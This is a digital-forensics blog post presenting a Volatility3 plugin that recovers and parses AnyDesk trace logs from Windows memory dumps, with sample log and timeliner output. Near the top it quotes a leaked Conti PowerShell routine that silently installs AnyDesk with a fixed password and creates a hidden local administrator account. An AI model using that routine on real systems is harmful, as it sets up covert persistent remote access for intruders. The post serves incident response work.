Skip to main content

📦 Volatility3 Windows Plugin - AnyDesk

· 10 min read
k1nd0ne
k1nd0ne
Digital Forensics Spiderman

When performing incident response, the adversary often uses legitimate remote access software as an interactive command and control channel. AnyDesk1 is one of those software being extensively used as a sublayer of persistence by threat actors or access other servers in the environment via RDP2. The latter has been often encountered in the wild in the past years as a preferred tool leveraged by known threat actors.

As such, Anydesk should be closely monitored as threat actors could easily alter or delete data after a successful attack; sometimes it is not possible to restore those altered logs. Defending against malicious actions with such remote software can be even more intricate for organizations having approved its legitimate usage. Here we propose to leverage memory forensics to retrieve and analyze artefacts thanks to a custom Volatility plugin that I made available as a free open-source tool for improving digital investigations.

Conti AnyDesk installation tutorial

A striking example came out the last year upon leaked manuals of Conti’s ransomware-as-a-service operators dedicated to its affiliates with pentesting skills3. From this case we can learn how the tool was installed by the attacker using PowerShell.

Закреп AnyDesk  - ознакомиться всем
 Function AnyDesk {

    mkdir "C:\ProgramData\AnyDesk"
    # Download AnyDesk
    $clnt = new-object System.Net.WebClient
    $url = "http://download.anydesk.com/AnyDesk.exe"
    $file = "C:\ProgramData\AnyDesk.exe"
    $clnt.DownloadFile($url,$file)


    cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent


    cmd.exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk.exe --set-password


    net user oldadministrator "qc69t4B#Z0kE3" /add
    net localgroup Administrators oldadministrator /ADD
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f

    cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id

    }

    AnyDesk

In this blog post, we will cover which files linked to anydesk are useful and how valuable it can be upon an investigation. Eventually, in the case where an intrusion set is deleting those files using an anti-forensics technique, a volatility3 plugin will be proposed to retrieve that information, which might still reside in memory.

AnyDesk trace files​

When using Anydesk, specific files4 are written to trace the activity of the application. There are two files of particular interest:

  • ad.trace
  • ad_svc.trace (only at installed version)

On a windows 10 machine, you can respectively find those files in the %APPDATA%\AnyDesk\ and %SYSTEMROOT%\ProgramData\AnyDesk\. Here is an example of data you could find within the log file:

ad.trace content example

info 2022-09-27 15:31:53.920       back   3240   5476                   app.backend_session - Starting session (deskrt, clipboard, chat, audio, input, tcp_tunnel).
info 2022-09-27 15:31:53.920       back   3240   5476                       desk_rt.encoder - 2 segments.
info 2022-09-27 15:31:53.923       back   3240   5476                     base.monitor_info - Monitors found: 1
info 2022-09-27 15:31:53.923       back   3240   5476                   app.backend_session - Suspending session start until further notice.
info 2022-09-27 15:31:53.925       back   3240   5476                   app.backend_session - Continueing session start.
info 2022-09-27 15:31:53.925       back   3240   5476             desk_rt.capture_component - Starting capture.
info 2022-09-27 15:31:53.925       back   3240   3892            capture.dda_stream_capture - Initializing D3D.
info 2022-09-27 15:31:53.926       ctrl   6572   1320                        ad_app.control - Session count: (1, 1)
info 2022-09-27 15:31:53.927       ctrl   6572   1320                       clipbrd.capture - Registered for clipboard notifications.
info 2022-09-27 15:31:53.927       ctrl   6572   1320                    app.ctrl_clip_comp - Ready.
info 2022-09-27 15:31:53.927       ctrl   6572   1320                     win_app.wallpaper - Starting wallpaper.
info 2022-09-27 15:31:53.948       back   3240   5476             desk_rt.capture_component - Sending screen privacy status: off (no change).
info 2022-09-27 15:31:53.948       back   3240   5476                        app.mouse_sink - Starting mouse sink.
info 2022-09-27 15:31:53.950       back   3240   4136             desk_rt.capture_component - Keyboard layout changed to: unknown
info 2022-09-27 15:31:53.950       back   3240   4136             desk_rt.capture_component - Focused monitor changed: 0 (\\.\DISPLAY1)

ad_svc.trace content example

info 2022-09-27 15:30:44.538       gsvc   9068   5920    1                      app.service - New IPC connection.
  info 2022-09-27 15:30:44.538       gsvc   9068   5920    1                  fiber.scheduler - Spawning child fiber 13 (parent 1).
  info 2022-09-27 15:30:44.538       gsvc   9068   5920   13                      app.service - Creating an IPC accept socket.
  info 2022-09-27 15:30:44.538       gsvc   9068   5920   13                      app.service - Connected to 6572 (control:1).
  info 2022-09-27 15:30:44.538       gsvc   9068   5920   13                      app.service - Process login detected.
  info 2022-09-27 15:30:44.538       gsvc   9068   5920   13                      app.service - Using existing control (6572).
  info 2022-09-27 15:30:44.538       gsvc   9068   5920   13                  fiber.scheduler - Spawning child fiber 14 (parent 13).
  info 2022-09-27 15:30:48.601       gsvc   9068   5920    1                      app.service - Process start: 3524 (frontend).
  info 2022-09-27 15:30:48.601       gsvc   9068   5920    1           anynet.relay_connector - Short timeouts enabled.
  info 2022-09-27 15:30:48.742       gsvc   9068   5920    1                      app.service - New IPC connection.
  info 2022-09-27 15:30:48.742       gsvc   9068   5920    1                  fiber.scheduler - Spawning child fiber 15 (parent 1).
  info 2022-09-27 15:30:48.742       gsvc   9068   5920   15                      app.service - Creating an IPC accept socket.
  info 2022-09-27 15:30:48.742       gsvc   9068   5920   15                      app.service - Connected to 3524 (frontend).
  info 2022-09-27 15:30:49.139       gsvc   9068   5920   15                      app.service - Process login detected.
  info 2022-09-27 15:30:49.139       gsvc   9068   5920   15                  fiber.scheduler - Spawning child fiber 16 (parent 15).
  info 2022-09-27 15:30:50.477       gsvc   9068   5920   15                            gcpsa - Downloading gcapi.dll.
 error 2022-09-27 15:30:50.518       gsvc   9068   5920   15                 win_app.dir_file - Could not open file (2).
  info 2022-09-27 15:30:50.518       gsvc   9068   5920   15                  fiber.scheduler - Spawning child fiber 17 (parent 15).
  info 2022-09-27 15:30:50.918       gsvc   9068   5920                       fiber.scheduler - Fiber 17 terminated.
  info 2022-09-27 15:30:51.175       gsvc   9068   5920   13                  fiber.scheduler - Spawning child fiber 18 (parent 13).
  info 2022-09-27 15:30:51.586       gsvc   9068   5920   15           anynet.main_relay_conn - Reporting system information.
  info 2022-09-27 15:30:52.221       gsvc   9068   5920                       fiber.scheduler - Fiber 18 terminated.
  info 2022-09-27 15:31:31.131       gsvc   9068   5920    4                  fiber.scheduler - Spawning root fiber 19.
  info 2022-09-27 15:31:31.131       gsvc   9068   5920   19            anynet.connection_mgr - [192.168.164.130:49152] Incoming connection.
  info 2022-09-27 15:31:31.147       gsvc   9068   5920   19                  fiber.scheduler - Spawning root fiber 20.
  info 2022-09-27 15:31:31.272       gsvc   9068   5920   19                  fiber.scheduler - Spawning root fiber 21.
  info 2022-09-27 15:31:31.287       gsvc   9068   5920   19                        handshake - Using protocol version 1.
  info 2022-09-27 15:31:31.287       gsvc   9068   5920   19            anynet.connection_mgr - [192.168.164.130:49152] Direct connection.

We can see that it is possible to extract useful artifacts. Hereby is a non-exhaustive list:

  • AnyDesk version
  • The IP address of the AnyDesk relay used when initiating a connection
  • Timestamps of each action
  • Listening port
  • Incoming connection IP address
  • Involved PIDs
  • Number of monitors found
  • Install date

The anti-forensics scenario​

If the adversary is aware of those artifacts, he might delete those files. However, there is still a chance to retrieve those cached files in memory! In this example, our is setup is 2 windows 10 virtual machine (A and B). A (attacker) is initiating a remote anydesk connection to B (victim). After a while the session is disconnected and A deleted the ad.trace and ad_svc.trace files. Next, a memory dump of machine B is performed, ready to be analyzed.

alt text

Writing a Volatility3 plugin​

Using volatility35 we can write a custom plugin which will perform the following steps :

  • Look for ad.trace and ad_svc.trace using the filescan plugin;
  • Try to dump the files if found;
  • Parse the files and render the data to the investigator.

Indeed, we could just dump the file and analyze it offline. However, writing a dedicated plugin is useful to:

  • Interface with the Timeliner plugin and make timestamps correlation with other artifacts;
  • Interface with any other tools that are exploiting the other volatility3 output capabilities (json, csv, ...).

Plugin output example

~/work/DFIR/Memory Analysis/MemoryImages/Windows10_AnyDesk » vol -f Windows_AD.vmem anydesk
Volatility 3 Framework 2.0.1
Progress:  100.00		PDB scanning finished
Source	Type	Time	Context	Message
[...]
\ProgramData\AnyDesk\ad_svc.trace	info	2022-09-30 19:14:32.854000 	gsvc	Main relay connection established.
\ProgramData\AnyDesk\ad_svc.trace	info	2022-09-30 19:14:32.854000 	gsvc	New user data. Client-ID: 684537884.
\ProgramData\AnyDesk\ad_svc.trace	error	2022-09-30 19:14:32.954000 	gsvc	packet-type(60)
\ProgramData\AnyDesk\ad_svc.trace	info	2022-09-30 19:37:36.766000 	gsvc	Spawning root fiber 37.
\ProgramData\AnyDesk\ad_svc.trace	info	2022-09-30 19:37:36.766000 	gsvc	[192.168.164.130:52257] Incoming connection.
\ProgramData\AnyDesk\ad_svc.trace	info	2022-09-30 19:37:36.766000 	gsvc	Spawning root fiber 38.
\ProgramData\AnyDesk\ad_svc.trace	info	2022-09-30 19:37:36.867000 	gsvc	Spawning root fiber 39.
\ProgramData\AnyDesk\ad_svc.trace	info	2022-09-30 19:37:36.867000 	gsvc	Using protocol version 1.
\ProgramData\AnyDesk\ad_svc.trace	info	2022-09-30 19:37:36.867000 	gsvc	[192.168.164.130:52257] Direct connection.
[...]
\ProgramData\AnyDesk\ad_svc.trace	info	2022-09-30 19:37:36.926000 	gsvc	Backend PID: 1268
[...]

Using the timeliner plugin

[...]
Anydesk	AnyDesk: info Fiber 20 terminated.  	2022-09-27 15:30:21.968000 	N/A	N/A	N/A
Anydesk	AnyDesk: info Fiber 20 terminated.  	2022-09-27 15:30:21.968000 	N/A	N/A	N/A
Anydesk	AnyDesk: info Starting installation of AnyDesk.  	2022-09-27 15:30:35.484000 	N/A	N/A	N/A
Anydesk	AnyDesk: info Opening UAC dialog.  	2022-09-27 15:30:35.484000 	N/A	N/A	N/A
Anydesk	AnyDesk: info line: "C:\Users\Volatility\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads\AnyDesk (1).exe" --install "C:\Program Files (x86)\AnyDesk"  --start-with-win --create-shortcuts --create-taskbar-icon --create-desktop-icon --install-driver:mirror --install-driver:printer --update-disabled --svc-conf "C:\Users\Volatility\AppData\Roaming\AnyDesk\service.conf"  --sys-conf "C:\Users\Volatility\AppData\Roaming\AnyDesk\system.conf"  	2022-09-27 15:30:35.484000 	N/A	N/A	N/A
Anydesk	AnyDesk: info Starting installation of AnyDesk.  	2022-09-27 15:30:35.484000 	N/A	N/A	N/A
Anydesk	AnyDesk: info Opening UAC dialog.  	2022-09-27 15:30:35.484000 	N/A	N/A	N/A
Anydesk	AnyDesk: info line: "C:\Users\Volatility\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads\AnyDesk (1).exe" --install "C:\Program Files (x86)\AnyDesk"  --start-with-win --create-shortcuts --create-taskbar-icon --create-desktop-icon --install-driver:mirror --install-driver:printer --update-disabled --svc-conf "C:\Users\Volatility\AppData\Roaming\AnyDesk\service.conf"  --sys-conf "C:\Users\Volatility\AppData\Roaming\AnyDesk\system.conf"  	2022-09-27 15:30:35.484000 	N/A	N/A	N/A
SymlinkScan	Symlink: Global -> \BaseNamedObjects	2022-09-27 15:30:37.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 380 svchost.exe Loaded rsaenh.dll (C:\Windows\system32\rsaenh.dll) Size 208896 Offset 140735643516928	2022-09-27 15:30:40.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 380 svchost.exe Loaded CRYPTBASE.dll (C:\Windows\System32\CRYPTBASE.dll) Size 49152 Offset 140735649873920	2022-09-27 15:30:40.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 3680 explorer.exe Loaded LINKINFO.dll (C:\Windows\SYSTEM32\LINKINFO.dll) Size 53248 Offset 140735555567616	2022-09-27 15:30:41.000000 	N/A	N/A	N/A
PsList	Process: 9068 AnyDesk.exe (221603241440448)	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
PsList	Process: 9068 AnyDesk.exe (221603241440448)	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
PsScan	Process: 9068 AnyDesk.exe (221603241440448)	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
PsScan	Process: 9068 AnyDesk.exe (221603241440448)	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 380 svchost.exe Loaded SHELL32.dll (C:\Windows\System32\SHELL32.dll) Size 21954560 Offset 140735700271104	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 3680 explorer.exe Loaded EhStorShell.dll (C:\Windows\System32\EhStorShell.dll) Size 225280 Offset 140735394414592	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 9068 AnyDesk.exe Loaded AnyDesk.exe (C:\Program Files (x86)\AnyDesk\AnyDesk.exe) Size 16338944 Offset 19005440	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 9068 AnyDesk.exe Loaded <volatility3.framework.renderers.UnreadableValue object at 0x1464d7520> (<volatility3.framework.renderers.UnreadableValue object at 0x1464d7520>) Size 2019328 Offset 140735723339776	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 9068 AnyDesk.exe Loaded wow64.dll (C:\Windows\System32\wow64.dll) Size 339968 Offset 140735698370560	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 9068 AnyDesk.exe Loaded wow64win.dll (C:\Windows\System32\wow64win.dll) Size 507904 Offset 140735699550208	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
DllList	DLL Load: Process 9068 AnyDesk.exe Loaded wow64cpu.dll (C:\Windows\System32\wow64cpu.dll) Size 36864 Offset 2002452480	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
NetScan	Network connection: Process 9068 AnyDesk.exe Local Address 0.0.0.0:7070 Remote Address 0.0.0.0:0 State LISTENING Protocol TCPv4 	2022-09-27 15:30:42.000000 	N/A	N/A	N/A
Anydesk	AnyDesk: info * AnyDesk Windows Startup *  	2022-09-27 15:30:42.636000 	N/A	N/A	N/A
Anydesk	AnyDesk: info * Version 7.0.14 (release/win_7.0.x 5cf8483107cd52198359a9504e0641fbe8cc59b3)  	2022-09-27 15:30:42.636000 	N/A	N/A	N/A
Anydesk	AnyDesk: info * Custom Client (no ID)  	2022-09-27 15:30:42.636000 	N/A	N/A	N/A
Anydesk	AnyDesk: info * Checksum 1b8e6bc34e8cd533b5d7281935ff2761  	2022-09-27 15:30:42.636000 	N/A	N/A	N/A

Conclusion​

This plugin was tested on Windows 10 memory dumps and the code can be found on the forensicxlab github : https://github.com/forensicxlab/volatility3_plugins. I would like to thank @DebugPrivilege for the tweet6 he made about the subject that gave me the idea to write this plugin.

AnyDesk is only one of the techniques used by threat actors to establish persistence via remote access. It is possible that other posts of the same type dealing with RA tools like "Atera" will come out in a few weeks.

It will be submitted to the volatility3 foundation for integration to the framework. You should Identify each steps described before in the source code comments. Do not hesitate to reach me at felix.guyard@forensicxlab.com, or to make a pull-request on the repository to enhance this plugin or this article.

Happy Hunting!

Footnotes​

  1. https://anydesk.com/en ↩

  2. https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/ ↩

  3. https://michaelkoczwara.medium.com/conti-ransomware-group-cobalt-strike-c2-analysis-rdp-persistence-cc535d35eaba ↩

  4. https://support.anydesk.com/knowledge/trace-files ↩

  5. https://volatility3.readthedocs.io/en/latest/index.html ↩

  6. https://twitter.com/debugprivilege/status/1574435608713658368?s=21&t=PWI9kJEpzECxhbyNFR8YUQ ↩